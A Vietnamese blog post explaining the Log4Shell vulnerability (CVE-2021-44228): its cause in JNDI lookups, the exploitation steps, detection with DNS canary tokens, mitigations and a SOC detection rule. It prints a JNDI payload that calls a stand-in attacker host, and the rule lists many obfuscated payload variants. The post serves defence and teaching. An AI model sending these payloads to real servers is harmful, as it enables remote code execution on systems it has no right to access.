CVE-2021-44228(LOG4SHELL )
CVE-2021-44228(LOG4SHELL )
I.Tổng quan
1. Log4j là gì?
Log4j là 1 thư viện để ghi log của Apache, được sử dụng rộng
rãi bởi các các doanh nghiệp và các ứng dụng điện toán đám mây
2. Lỗ hổng
Ngày 9/12/2021, Chen Zhaojun thuộc Alibaba Clould Security
Team đã tiết lộ lỗ hổng nghiêm trọng này trong thư viện Log4j cho phép RCE mà
không cần xác thực.
Lỗ hổng được định danh CVE-2021-44228(CVSS: 10) được đặt tên
là Log4Shell hoặc LogJam, cho phép hacker chiếm quyền kiểm soát hệ thống.
Các phiên bản bị ảnh hưởng: 2.0 - 2.14.1.
Nhiều dự án và ứng dụng như máy chủ Minecraft, Elastic, Paper,
Amazon,… đều có sử dụng thư viện này.
Hiện lỗ hổng này đã có PoC và được khai thác tích cực trên
toàn thế giới.
II.Nguyên nhân
Từ bản Log4j 2.0, tính năng lookup được bổ sung để lấy các
giá trị giúp cho việc logging thuận tiện, gồm cả JNDI lookup.
JNDI là 1 giao thức cho phép kết nối ứng dụng Java tới các dịch
vụ thư mục bên ngoài(external directory service) như 1 server LDAP để tìm và nhận
Java object chứa value để ghi log. Các hacker có thể dựng 1 LDAP server chứa
payload độc hại và khiến ứng dụng load object độc hại này.
III.Cách thức hoạt động
1.Điều kiện khai thác lỗ hổng
·
1 server với có dùng thư viện log4j ver 2.0 - 2.14.1.
·
1 endpoint với bất kì protocol như HTTP, TCP, … cho
phép hacker gửi chuỗi expolit.
·
1 log statement có thể log lại chuỗi gửi từ request.
2.Các bước khai thác
·
Dữ liệu được gửi từ người dùng đến server(qua bất
kì giao thức nào)
·
Server nhận request người dùng gửi lên chứa
payload ${jndi:ldap://[attacker.com](<http://attacker.com>)/a}
(attacker.com là server điều khiển của kẻ tấn công. Có thể nhận request qua 1 số
value/parameter có thể được log bởi log4j(VD: user-agent, username) và truyền 1
strings là 1 câu query tới LDAP server của hacker
·
Lỗ hổng log4j được kích hoạt bởi payload này và
máy chủ tạo request tới attacker.com thông qua"Java Naming and Directory
Interface" (JNDI).
·
Respone trả về chứa một đường dẫn đến tệp class
Java từ xa (ví dụ: http://second-stage.attacker.com/Exploit.class) được chèn
vào luồng xử lý của máy chủ.
·
Payload được truyền vào trong tệp class đã cho
phép kẻ tấn công có thể thực thi các đoạn code tuỳ ý.
IV. Cách nhận biết lỗ hổng này
Đơn giản nhất là trigger 1 DNS query.
Việc khai thác này sẽ khiến máy
chủ có lỗ hổng nạp 1 remote code. Bằng cách dùng địa chỉ của 1 DNS logging tool
miễn phí, chúng ta có thể phát hiện khi nào lỗ hổng được kích hoạt.
Canarytokens là một ứng dụng web mã
nguồn mở cho mục đích này, nó sẽ tạo chuỗi khai thác tự động và gửi thông báo
qua email khi DNS được query.
Request này sẽ trigger lỗ hổng đó.
V. Khắc phục lỗ hổng
Upgrade Log4j lên bản mới nhất(2.15.0)
Nếu không thể upgrade thì:
Set thuộc tính: log4j2.formatMsgNoLookups=true
Hoặc set biến môi trường: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Hoặc xoá luôn class chứa logic
JNDILookup của Log4j:zip
-q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
V. Rule alert cho SOC
Do Server sẽ nhận các request chứa
payload độc hại nên ta sẽ detect dựa vào các payload trong gói tin, điều này đòi
hỏi phải có NGFW hoặc IDS.
cs-User-Agent|contains:
- '${jndi:ldap:/'
- '${jndi:rmi:/'
- '${jndi:ldaps:/'
- '${jndi:dns:/'
- '/$%7bjndi:'
- '%24%7bjndi:'
- '$%7Bjndi:'
- '%2524%257Bjndi'
- '%2F%252524%25257Bjndi%3A'
- '${jndi:${lower:'
- '${::-j}${'
- '${jndi:nis'
- '${jndi:nds'
- '${jndi:corba'
- '${jndi:iiop'
- '${${env:BARFOO:-j}'
- '${::-l}${::-d}${::-a}${::-p}'
- '${base64:JHtqbmRp'
-
'${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//'
-
'${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://'
-
'${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://'
- '${${::-j}${::-n}${::-d}${::-i}:'
Detect tương tự với một số value/param
như user-agent, cs-uri, cs-referer
Nguồn tham khảo:
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://news.ycombinator.com/item?id=29504755
https://github.com/tangxiaofeng7/apache-log4j-poc
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://github.com/YfryTchsGD/Log4jAttackSurface
https://twitter.com/shutingrz/status/1469255861394866177?s=21
sigma/web_cve_2021_44228_log4j_fields.yml
at master · SigmaHQ/sigma (github.com)
Nhận xét
Đăng nhận xét